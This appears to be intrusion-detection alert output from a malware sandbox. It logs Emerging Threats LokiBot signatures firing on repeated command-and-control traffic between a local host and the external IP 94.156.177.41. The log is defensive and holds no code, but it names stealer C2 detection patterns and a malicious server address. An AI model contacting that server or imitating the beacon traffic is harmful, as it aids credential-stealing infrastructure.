2024-11-20T10:57:28.799350+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:29.726326+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:30.667112+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:31.597321+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:32.534728+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:33.800604+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:34.722224+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:35.630460+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:36.546091+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:37.558372+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:38.444140+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:39.350219+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:40.390682+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:41.280822+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.194530+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:43.109049+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:44.036671+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.953136+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:45.861829+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:46.774217+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:47.730504+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:48.614779+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:49.520289+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:50.448704+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:51.379035+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:52.282631+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.201630+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:54.109455+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:55.033419+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:56.039529+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.955480+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:57.984069+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:58.889596+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:59.787877+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:00.691489+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:01.582641+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:02.624665+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:03.519338+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:04.545050+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:05.453999+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:06.367844+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:07.287006+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.176054+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:09.065860+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.959629+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:10.847503+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:11.824399+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:12.724589+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:13.658490+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:14.545997+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:15.460583+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:16.391719+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:17.293396+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.186000+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:19.112622+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:20.136054+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:21.045421+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.935753+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:22.855310+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:23.760310+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:24.639781+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:25.552646+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:26.433858+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:27.437349+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:28.325967+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.219984+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:30.135328+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:31.029059+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.910533+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:32.925547+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:33.816974+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:34.747068+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:35.646259+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:36.544139+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:37.437340+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:38.343067+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.243872+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:40.146749+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:41.034533+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.944294+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:42.863234+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:43.784646+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:45.036254+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.931402+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:46.868272+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:47.801637+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:48.719401+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:49.631590+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:50.531924+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:51.462507+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:52.365083+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:53.422435+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:54.359199+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:55.384693+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:56.456663+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:57.368693+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:58.299878+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:59.223139+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:00.315009+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	58849	94.156.177.41	80	TCP

ET MALWARE LokiBot Fake 404 Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:15.987856+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49737	TCP
2024-11-20T10:57:17.006051+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49739	TCP
2024-11-20T10:57:17.936080+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49740	TCP
2024-11-20T10:57:18.832714+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49742	TCP
2024-11-20T10:57:19.868969+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49746	TCP
2024-11-20T10:57:20.949030+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49748	TCP
2024-11-20T10:57:21.975270+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49750	TCP
2024-11-20T10:57:22.904758+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49751	TCP
2024-11-20T10:57:23.808026+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49752	TCP
2024-11-20T10:57:24.690524+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49753	TCP
2024-11-20T10:57:25.795228+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49754	TCP
2024-11-20T10:57:26.827906+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49755	TCP
2024-11-20T10:57:27.744857+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49756	TCP
2024-11-20T10:57:28.642340+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49757	TCP
2024-11-20T10:57:29.549556+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49758	TCP
2024-11-20T10:57:30.514533+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49759	TCP
2024-11-20T10:57:31.425324+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49760	TCP
2024-11-20T10:57:32.385510+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49761	TCP
2024-11-20T10:57:33.640881+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49762	TCP
2024-11-20T10:57:34.567581+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	49763	TCP
2024-11-20T10:57:35.471497+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58489	TCP
2024-11-20T10:57:36.400812+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58491	TCP
2024-11-20T10:57:37.289801+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58492	TCP
2024-11-20T10:57:38.284188+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58493	TCP
2024-11-20T10:57:39.187672+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58495	TCP
2024-11-20T10:57:40.133545+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58497	TCP
2024-11-20T10:57:41.142696+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58498	TCP
2024-11-20T10:57:42.033745+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58499	TCP
2024-11-20T10:57:42.955102+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58500	TCP
2024-11-20T10:57:43.877806+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58501	TCP
2024-11-20T10:57:44.784399+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58502	TCP
2024-11-20T10:57:45.703555+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58503	TCP
2024-11-20T10:57:46.618695+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58504	TCP
2024-11-20T10:57:47.570860+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58505	TCP
2024-11-20T10:57:48.467331+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58506	TCP
2024-11-20T10:57:49.360365+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58507	TCP
2024-11-20T10:57:50.268579+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58508	TCP
2024-11-20T10:57:51.219567+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58509	TCP
2024-11-20T10:57:52.140914+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58510	TCP
2024-11-20T10:57:53.049334+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58511	TCP
2024-11-20T10:57:53.956364+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58512	TCP
2024-11-20T10:57:54.880536+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58513	TCP
2024-11-20T10:57:55.762200+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58514	TCP
2024-11-20T10:57:56.804995+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58515	TCP
2024-11-20T10:57:57.817446+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58516	TCP
2024-11-20T10:57:58.738049+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58518	TCP
2024-11-20T10:57:59.636685+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58524	TCP
2024-11-20T10:58:00.545760+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58530	TCP
2024-11-20T10:58:01.438503+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58536	TCP
2024-11-20T10:58:02.348681+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58543	TCP
2024-11-20T10:58:03.364160+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58553	TCP
2024-11-20T10:58:04.406032+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58559	TCP
2024-11-20T10:58:05.314152+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58565	TCP
2024-11-20T10:58:06.214440+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58572	TCP
2024-11-20T10:58:07.131818+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58582	TCP
2024-11-20T10:58:08.029885+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58588	TCP
2024-11-20T10:58:08.916984+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58594	TCP
2024-11-20T10:58:09.804164+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58600	TCP
2024-11-20T10:58:10.701298+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58606	TCP
2024-11-20T10:58:11.600677+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58613	TCP
2024-11-20T10:58:12.573029+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58623	TCP
2024-11-20T10:58:13.489483+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58629	TCP
2024-11-20T10:58:14.401721+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58635	TCP
2024-11-20T10:58:15.287376+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58641	TCP
2024-11-20T10:58:16.234194+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58650	TCP
2024-11-20T10:58:17.143458+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58657	TCP
2024-11-20T10:58:18.036772+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58664	TCP
2024-11-20T10:58:18.921296+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58670	TCP
2024-11-20T10:58:19.988578+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58675	TCP
2024-11-20T10:58:20.898961+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58683	TCP
2024-11-20T10:58:21.781334+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58688	TCP
2024-11-20T10:58:22.701370+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58695	TCP
2024-11-20T10:58:23.598769+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58701	TCP
2024-11-20T10:58:24.496109+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58708	TCP
2024-11-20T10:58:25.395417+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58715	TCP
2024-11-20T10:58:26.284982+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58723	TCP
2024-11-20T10:58:27.290814+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58730	TCP
2024-11-20T10:58:28.184409+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58736	TCP
2024-11-20T10:58:29.071403+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58742	TCP
2024-11-20T10:58:29.956898+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58752	TCP
2024-11-20T10:58:30.885831+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58758	TCP
2024-11-20T10:58:31.758131+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58764	TCP
2024-11-20T10:58:32.777803+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58770	TCP
2024-11-20T10:58:33.672124+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58777	TCP
2024-11-20T10:58:34.546153+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58786	TCP
2024-11-20T10:58:35.497561+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58792	TCP
2024-11-20T10:58:36.389612+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58799	TCP
2024-11-20T10:58:37.281758+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58806	TCP
2024-11-20T10:58:38.186261+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58812	TCP
2024-11-20T10:58:39.080679+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58818	TCP
2024-11-20T10:58:39.986192+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58827	TCP
2024-11-20T10:58:40.887054+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58828	TCP
2024-11-20T10:58:41.787253+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58829	TCP
2024-11-20T10:58:42.707455+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58830	TCP
2024-11-20T10:58:43.626218+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58831	TCP
2024-11-20T10:58:44.673346+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58832	TCP
2024-11-20T10:58:45.779217+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58833	TCP
2024-11-20T10:58:46.711977+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58834	TCP
2024-11-20T10:58:47.644969+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58835	TCP
2024-11-20T10:58:48.573043+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58836	TCP
2024-11-20T10:58:49.481216+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58837	TCP
2024-11-20T10:58:50.374368+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58838	TCP
2024-11-20T10:58:51.275613+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58839	TCP
2024-11-20T10:58:52.215522+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58840	TCP
2024-11-20T10:58:53.253974+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58841	TCP
2024-11-20T10:58:54.200047+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58842	TCP
2024-11-20T10:58:55.236154+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58843	TCP
2024-11-20T10:58:56.125650+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58844	TCP
2024-11-20T10:58:57.208517+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58845	TCP
2024-11-20T10:58:58.152996+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58846	TCP
2024-11-20T10:58:59.072614+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58847	TCP
2024-11-20T10:59:00.169904+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58848	TCP
2024-11-20T10:59:01.201970+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.4	58849	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:15.973269+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:16.996278+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:17.928297+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:18.827777+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:19.860877+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:20.941871+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:21.966321+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:22.899768+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:23.803116+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:24.685646+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:25.787244+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:26.822818+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:27.739805+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:28.632253+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:29.544680+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:30.509633+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:31.416743+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:32.379994+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:33.635907+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:34.562494+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:35.466504+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:36.395872+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:37.284752+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58492	94.156.177.41	80	TCP
